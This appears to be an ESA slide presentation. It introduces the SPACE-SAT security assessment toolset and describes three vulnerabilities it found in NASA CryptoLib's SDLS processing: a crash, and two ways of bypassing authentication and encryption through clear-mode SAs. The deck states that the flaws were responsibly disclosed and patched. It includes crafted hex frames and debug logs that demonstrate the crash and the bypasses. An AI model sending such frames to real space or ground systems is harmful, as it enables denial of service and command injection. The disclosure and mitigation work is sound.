Using SPACE-SAT to find vulnerabilities in SDLS implementations

Antonin Boulnois, Antonios Atlasis
System Security Section
End-to-End Systems Division
Directorate of ***Technology, Engineering and Quality***

04/11/2024

What is SPACE-SAT

Space Protocol Analysis, CCSDS & ECSS Security Assessment Toolset:

- A Python toolset that implements various CSSDS and ECSS protocols (including SDLS and SDLS EP)
- It also includes a Wireshark dissector
- It can be used as a security assessment tool for CCSDS protocols implementations
- It includes fuzzing capabilities and already implements some attacks (esp. cryptographic related).
- It implements Ground Segment functionality and stateful operation.
- It was used for organising the first spacecraft specific ESA CTF (Capture the Flag) last May.
- More protocols will be added
- It was used with NASA cryptolib to validate its correct functionality. NASA cryptolib was also the first implementation to be used for security assessment purposes. The discussion to follow is provides only for increasing awareness on potential issues and demonstrate the value of security assessment as part of the process.
- The work to be presented was performed by ESA Young Graduate Trainee ***Antonin Boulnois*** at ESA TEC labs!

NASA Cryptolib security assessment

Affected version: NASA Crytolib software v1.3.0 R1

The Nasa Cryptolib (focusing on SDLS) provides two main functions:

- Crypto_[TC,TM,AOS]_ApplySecurity: to generate a SDLS compliant frame from a valid frame
- Crypto_[TC,TM,AOS]_ProcessSecurity: to parse and perform security verification from an SDLS frame.

Vulnerabilities identified:

- DoS (cryptolib crash)
- Out-of-bounds memory read to bypass SDLS
- SDLS bypass without using Out-of-bounds memory read

Vulnerability disclosure:

Vulnerabilities were disclosed responsibly and they have been fixed in the two followings pull requests:

- https://github.com/nasa/CryptoLib/pull/286 (available in the new release v1.3.1)
- https://github.com/nasa/CryptoLib/pull/306 (available in dev branch)

DoS Vulnerability (and further consequences)

- This vulnerability was disclosed in the summer of 2024 by VisionSpace through the CVE-2024-44911

- **Description**: Cryptolib is using a static array to store its SAs. To limit the memory consumption, a preprocessor directive is defined (NUM_SA) which narrows the number of available SA (65 by default). However, a check for the SPI values between the maximum allowed by standard and the maximum supported by their implementation was not implemented. So, if the provided SPI is not in the range of [0, NUM_SA], the program would still use the SPI to read memory located at sa[SPI]. This leads to an out of bounds read vulnerability.

- Vulnerability was fixed by checking if the parsed SPI is in the range [0, NUM_SA].
- In the case of Cryptolib, the attribute state is kept in volatile memory. Therefore, when the out of bounds vulnerability is exploited, not only does it make the service unavailable, but it also reset the cryptographic states. If no procedure is defined to handle this situation in a secure way, the spacecraft would be vulnerable to reply attacks and its TM frame would use the same IV (IV reuse) after reboot .

```
DEBUG - Buffer Length:56
DEBUG - File buffer size:56
DEBUG - File buffer size int:56
DEBUG - File content:
DEBUG - 002C003700FFFFFFD8FFFFFFCC0000414141414141414141414141414141414141414141414141414141414141414141414141416C68FFFFFFD25C56FFFFFFE5FFFFFF9FFFFFFF87
Key internal interface intialized
Crypto Lib Intialized.  Version 1.2.2.0

----- Crypto_TC_ProcessSecurity START -----
vcid = 0
spi  = 55500
DEBUG - Printing local copy of SA Entry for current SPI.
SA status:
Segmentation fault (core dumped)
```

Out-of-bounds memory read to bypass SDLS

- The Cryptolib library implements the Clear Mode, which is triggered when the SA attributes est and ast are equal to zero.
- A PDU to be accepted, all SA attributes must also be equal to zero.
- An SA outside the range [0,NUM_SA] but with memory reads that correspond to zeroized SA values will trigger a Clear mode!

```c
// Determine SA Service Type
if ((sa_ptr->est == 0) && (sa_ptr->ast == 0))
{
    sa_service_type = SA_PLAINTEXT;
}
else if ((sa_ptr->est == 0) && (sa_ptr->ast == 1))
{
    sa_service_type = SA_AUTHENTICATION;
}
else if ((sa_ptr->est == 1) && (sa_ptr->ast == 0))
{
    sa_service_type = SA_ENCRYPTION;
}
else if ((sa_ptr->est == 1) && (sa_ptr->ast == 1))
{
    sa_service_type = SA_AUTHENTICATED_ENCRYPTION;
```

```
Key internal interface intialized
Crypto Lib Intialized.  Version 1.2.2.0
002c00370000cc000041414141414141414141414141414141414141414141414141414141414141416c68d25c56e59f870007ca098bde3800

----- Crypto_TC_ProcessSecurity START -----
vcid = 0
spi  = 204
DEBUG - Printing local copy of SA Entry for current SPI.
SA status:
         spi    = 0
         sa_state    = 0x0
         est         = 0x0
         ast         = 0x0
         shivf_len   = 0
         shsnf_len   = 0
         shplf_len   = 0
         stmacf_len  = 0
         ecs_len     = 0
         ekid        = 0
         ek_ref      = (null)
         akid        = 0
         ak_ref      = (null)
         iv_len      = 0
         iv         =
         acs_len     = 0
         acs         = 0x00
         abm_len     = 0
         arsn_len     = 0
         arsnw_len    = 0
         arsnw        = 0
Processing a TC - CLEAR!
Full IV Value from Frame and SADB (if applicable):

Full ARSN Value from Frame and SADB (if applicable):

TC PDU Calculated Length: 49
0
```

Bypassing SDLS without using the out of bounds read

SA memory management implementation by cryptolib:

1. SA CREATED: first the array containing the SA is created statically with the NUM_SA
2. SA_INITALISED: then the sa_init() set (almost) all the attributes of SAs to zero
3. SA_CONFIGURED: finally, the sa_configure() overwrites the SAs with the provided configuration defined in the function.

Problem: If sa_configure() function does not overwrite the SA, the SA keeps the initialisation state.

In the default configuration, 64 SAs are initialised but only 17 are configured therefore there is 43 SAs that are initialised only but also are valid clear mode SA!

```
DEBUG - Buffer Length:13
DEBUG - File buffer size:13
DEBUG - File buffer size int:13
DEBUG - File content:
DEBUG - 002C000C00002C414243444546
Key internal interface intialized
Crypto Lib Intialized.  Version 1.2.2.0

----- Crypto_TC_ProcessSecurity START -----
vcid = 0
spi  = 44
DEBUG - Printing local copy of SA Entry for current SPI.
SA status:
         spi    = 0
         sa_state   = 0x0
         est        = 0x0
         ast        = 0x0
         shivf_len  = 0
         shsnf_len  = 0
         shplf_len  = 0
         stmacf_len = 0
         ecs_len    = 0
         ekid       = 44
         ek_ref     = (null)
         akid       = 44
         ak_ref     = (null)
         iv_len     = 0
         iv        =
         acs_len    = 0
         acs        = 0x00
         abm_len    = 0
         arsn_len    = 0
         arsnw_len   = 0
         arsnw       = 0
Processing a TC - CLEAR!
Full IV Value from Frame and SADB (if applicable):

Full ARSN Value from Frame and SADB (if applicable):

TC PDU Calculated Length: 6
status: 0
tc pdu:
414243444546
```

Mitigations proposed

1. An initialised SA should differ from a valid clear mode SA
2. The SA existence and its state (e.g OPERATIONAL) should be checked before use.
3. GCVID should be mapped to SAs (Principal of defense in depth)

Implemented patch: When initialising the SA, the state attribute is set to SA_NONE. With the patch, a condition was added to check if the state is SA_OPERATIONAL before use. Therefore,, initialised SAs are no longer valid Clear Mode SA.